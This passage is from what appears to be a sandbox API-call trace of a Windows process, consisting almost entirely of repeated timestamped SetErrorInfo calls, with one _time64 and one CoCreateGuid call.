perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.275] _time64 (in: _Time=0x12d8d8 | out: _Time=0x12d8d8) returned 0x5f78acc7 [0062.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.285] CoCreateGuid (in: pguid=0x12d688 | out: pguid=0x12d688*(Data1=0xf821c9df, Data2=0xcf19, Data3=0x4af7, Data4=([0]=0x9b, [1]=0xdb, [2]=0x9b, [3]=0xa1, [4]=0x1, [5]=0x95, [6]=0x34, [7]=0xec))) returned 0x0 [0062.286] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.286] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.334] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.336] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.336] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.336] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.336] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.337] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.337] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.337] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.337] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.337] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.337] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.337] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.337] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.338] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.338] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.338] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.338] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.338] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.338] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.340] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.340] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.340] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.341] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.341] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.341] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.341] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.341] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.341] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.341] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.341] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.342] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.342] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.342] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.342] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.342] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.342] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.342] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.342] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.342] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.342] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.343] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.343] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.343] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.344] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.344] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.344] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.344] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.344] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.344] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.344] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.344] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.345] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.345] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.345] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.345] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.345] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.345] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.345] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.345] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.346] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.346] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.346] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.346] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.346] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.346] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.346] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.346] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.346] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.347] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.347] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.347] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.347] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.347] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.347] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.347] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.347] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.347] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.347] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.348] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.348] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.348] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.348] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.348] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.348] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.348] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.348] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.349] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.349] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.349] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.349] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.349] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.349] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.349] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.349] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.349] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.350] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.350] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.350] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.350] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.350] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.350] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.350] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.350] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.351] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.351] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.351] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.351] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.351] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.351] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.351] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.351] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.351] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.352] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.352] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.352] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.352] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.352] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.352] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.352] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.352] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.352] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.352] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.353] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.354] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.354] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.354] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.354] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.354] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.354] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.354] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.354] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.355] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.355] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.355] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.355] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.355] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.355] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.355] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.355] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.355] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.355] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.355] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.357] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.358] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.359] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.360] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.361] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.362] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.363] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.363] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.363] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.363] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.363] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.363] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.363] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.364] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.366] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.366] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.366] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.366] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.366] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.366] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.366] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.366] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.367] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.369] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.369] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.369] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) 